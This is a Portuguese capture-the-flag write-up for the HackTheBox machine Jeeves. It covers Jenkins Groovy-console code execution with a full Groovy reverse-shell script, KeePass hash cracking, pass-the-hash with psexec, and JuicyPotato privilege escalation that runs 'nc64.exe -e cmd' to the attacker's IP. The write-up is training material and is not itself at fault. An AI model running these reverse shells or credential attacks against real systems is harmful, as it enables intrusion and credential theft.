> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Resolução da máquina Jeeves do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**Habilidades:**

* Exploração do Jenkins (Console de script Groovy)
* Quebrando o KeePass
* Pass-the-Hash (Psexec)
* RottenPotato (SeImpersonatePrivilege)
* Fluxos de Dados Alternativos (ADS)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Vamos estabelecer nosso ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento usando o Nmap

<figure><img src="/files/deff416c1c49577923036d7e421230afdb80072c" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/762af84c7abca1b7e58d6fb939b5831ee6df555e" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts
```

<figure><img src="/files/03d48b9abc64874881593af9b4b175ccdd6c8fd8" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir, de forma concisa, as portas abertas e copiá-las para a área de transferência (80.135.445.50000)

<figure><img src="/files/a81add758e68b7936e1445c833f3aa7d8b570098" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted
```

<figure><img src="/files/2be15cbe062b197a166b9859a412bf5e3e6ba814" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="/files/e2c79795ed9d7b2280ee16798b9f2f218921c4b4" alt=""><figcaption></figcaption></figure>

A porta HTTP redireciona constantemente para uma `error.html` página. Nenhuma outra informação útil foi encontrada.

<figure><img src="/files/830556250db9b23e30da33bdcb13ff06e7fd395a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1fa05bb9b40e2f6a2f05798148fa2ef686d60ca6" alt=""><figcaption></figcaption></figure>

### Porta 445 - SMB

Tentamos listar os compartilhamentos SMB com `smbmap` e `smbclient`:

```bash
smbmap -H 10.10.10.63 -u 'null'
smbmap -H 10.10.10.63
```

```bash
smbclient -L 10.10.10.63 -N
```

No entanto, a sessão falha com o seguinte erro:

```
session setup failed: NT_STATUS_ACCESS_DENIED
```

Usamos `crackmapexec` para coletar informações da máquina:

```bash
crackmapexec smb 10.10.10.63
```

Resultado:

* **SO** : Windows 10 Pro 10586 x64
* **Nome da máquina**: JEEVES
* **Domínio**: Jeeves

<figure><img src="/files/03d89b637c9ba8606edaeed6ab970c92dc734b22" alt=""><figcaption></figcaption></figure>

### **Porta 50000 - Jenkins**

<figure><img src="/files/95364db19d5f163556f38a23a745fcda41469918" alt=""><figcaption></figcaption></figure>

Iniciamos uma varredura de diretórios com `gobuster` para explorar o conteúdo do serviço HTTP:

```bash
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

Descobrimos o diretório **/askjeeves**

<figure><img src="/files/f9eda7632883c404d0f937c1c8d925032b7d1751" alt=""><figcaption></figcaption></figure>

### CMS - Jenkins

<figure><img src="/files/2516f184c812fe3d96c3932fc3f44facedbdd35b" alt=""><figcaption></figcaption></figure>

**Jenkins - execução de script Groovy**

O CMS Jenkins está acessível e a **Script Console** opção está habilitada, permitindo executar scripts Groovy.

<figure><img src="/files/13d86d29e5560eada106e3f920a70a0397a283f0" alt=""><figcaption></figcaption></figure>

Comando de exemplo para testar a execução:

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/f776e7290ea10b1afb3a6a9242da7e4cff15d8ef" alt=""><figcaption></figcaption></figure>

### **Exploração**

#### **Shell reversa via console de script Groovy**

Para obter acesso remoto, procedemos da seguinte forma:

1. /*/* Escute nossa máquina na porta 443/*/*:

```bash
rlwrap nc -nvlp 443
```

2. /*/* Execute o seguinte script no Groovy/*/* console para estabelecer uma shell reversa:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/d035ef18ae0dfdd6bd2962c0aaccfbd08ce8de95" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/ae55a255b81a8d0890ddc577622e89b08f09c1cc" alt=""><figcaption></figcaption></figure>

## **Escalada de privilégios**

## **Método 1: quebra do arquivo KeePass**

No **Documentos** diretório do usuário **Kosure**, encontramos um arquivo com a **.kdbx** extensão (arquivo KeePass).

<figure><img src="/files/12116c2628bba600b7824b81af48effc2894dc33" alt=""><figcaption></figcaption></figure>

/*/* Transferência do arquivo KeePass para nossa máquina host/*/*// Criamos um servidor SMB em nossa máquina Linux para transferir o arquivo. Para isso usamos `smbserver.py`:

```bash
smbserver.py share $(pwd) -smb2support
```

**Transferência a partir do Windows**/ Da máquina Windows, copiamos o **CEH.kdbx** arquivo para nossa máquina host:

```powershell
copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/
```

<figure><img src="/files/4663a9ff66ad1e9d4150a1b24c62862834b690ae" alt=""><figcaption></figcaption></figure>

### **Extração do hash do arquivo KDBX**

Para extrair o hash do **KDBX** arquivo, usamos a **keepass2john** ferramenta, que faz parte do **John the Ripper**:

```bash
keepass2john CEH.kdbx
```

<figure><img src="/files/06f2cd22259db3d2f50d8252d4de61705510327c" alt=""><figcaption></figcaption></figure>

### **Quebra de hash**

Usamos **John the Ripper** para realizar um ataque de força bruta no hash extraído, com a **lista de senhas rockyou. txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

A senha descoberta é:

* `moonshine1`

<figure><img src="/files/6de2ea5ece779e6dff13be8337bed82559d316dd" alt=""><figcaption></figcaption></figure>

### **Visualização do conteúdo do KeePass**

Usamos **KeepassXC** para abrir e visualizar o conteúdo do **KeePass**

<figure><img src="/files/65f0cbcde175733fe1cc867ff80eaa084e240cf2" alt=""><figcaption></figcaption></figure>

Após inserir a **moonshine1** senha, acessamos várias senhas, incluindo um hash NTLM v2 para o usuário **Administrator**:

<figure><img src="/files/65f0cbcde175733fe1cc867ff80eaa084e240cf2" alt=""><figcaption></figcaption></figure>

```bash
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
```

#### /*/* Auditoria do hash NTLM v2 com CrackMapExec/*/*

Verificamos se o hash corresponde a uma conta **Administrator** por **CrackMapExec**:

```bash
crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'
```

O hash é válido, e agora podemos realizar um ataque **Pass-the-Hash**.

<div data-full-width="true"><figure><img src="/files/83632a753919a444b404ff4e680c768188b596b6" alt=""><figcaption></figcaption></figure></div>

### **Pass-the-Hash - PsExec**

Usamos **PsExec** para nos conectar à máquina-alvo usando o NTLM v2 descoberto. Isso nos concede privilégios administrativos

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

Agora temos acesso total como administrador.

<figure><img src="/files/41dd8ef3ab86069dd5cb1735509453587507720d" alt=""><figcaption></figcaption></figure>

## **Método 2: exploração do privilégio SeImpersonatePrivilege**

Descobrimos que o usuário possui o `SeImpersonatePrivilege` privilégio, tornando-o vulnerável a certas técnicas de escalonamento de privilégios. O comando abaixo confirma a presença desse privilégio:

```bash
whoami /priv
```

<figure><img src="/files/8a5855b2be6d45fe41c48cc9018c5f5ddaa7ec09" alt=""><figcaption></figcaption></figure>

Para explorar essa vulnerabilidade, usaremos **JuicyPotato**uma ferramenta bem conhecida para abusar desse privilégio no contexto do Windows.

**Baixar as ferramentas necessárias**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**Iniciar um SmbFolder** servidor na nossa máquina de ataque para disponibilizar os arquivos:

```bash
smbserver.py share $(pwd) -smb2support
```

**Transferir arquivos para a máquina-alvo** usando `Invoke-WebRequest`:

<pre class="language-powershell"><code class="lang-powershell"><strong>copy //10.10.14.9/share/JP.exe
</strong>copy //10.10.14.9/share/nc64.exe
</code></pre>

<figure><img src="/files/80e4b07503363dcd41f54f6b7baeb242d6170a40" alt=""><figcaption></figcaption></figure>

**Execução do JuicyPotato para o escalonamento de privilégios**

Agora executaremos o JuicyPotato para obter uma sessão privilegiada. O comando a seguir inicia o JuicyPotato, que executa `cmd.exe` com privilégios elevados e inicia uma conexão com nossa máquina de ataque via Netcat:

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234"
```

**Entrar na sessão elevada**

Para interceptar a conexão, ouvimos a porta 1234:

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/6edd180c23e2fa30a0c3d5e22c5001bcdff696f0" alt=""><figcaption></figcaption></figure>

## Flag root - ADS

> Fluxos de dados alternativos (ADS) são um recurso dos **NTFS** sistemas de arquivos no Windows que permite associar vários fluxos de dados a um único arquivo. Esses fluxos adicionais podem conter informações ocultas que não são visíveis durante a inspeção tradicional do arquivo. Usaremos esse recurso para descobrir a **flag root**.

<figure><img src="/files/bbcabb90b51c5f7297111999ef42f87c50a9fa51" alt=""><figcaption></figcaption></figure>

#### **1. Verificação de Fluxos de Dados Alternativos (ADS)**

Começamos verificando se o **hm.txt** arquivo localizado na área de trabalho do usuário **Administrator** contém fluxos de dados alternativos. Para isso, usamos o seguinte comando:

```bash
dir /r C:/Users/Administrator/Desktop/hm.txt
```

Este comando lista todos os fluxos de dados alternativos associados a **hm.txt** arquivo. Se um fluxo de dados alternativo estiver presente, ele será exibido.

<figure><img src="/files/71b4494e6a37a5e1bbc715f804d512ce15327398" alt=""><figcaption></figcaption></figure>

#### **2. Visualização do conteúdo de um fluxo de dados alternativo**

Se encontrarmos um fluxo de dados alternativo associado ao arquivo, podemos exibir seu conteúdo com o seguinte comando:

```powershell
more < C:/Users/Administrator/Desktop/hm.txt:root.txt
```

Isso nos permite ler o conteúdo do **root.txt** fluxo e recuperar a **flag root:)**

<figure><img src="/files/8e97321ffba993afaa6f4e76dca8028e4b9d2900" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6bcd15b9a43d08c637e4e9a9e929ddb611b1c7a8" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
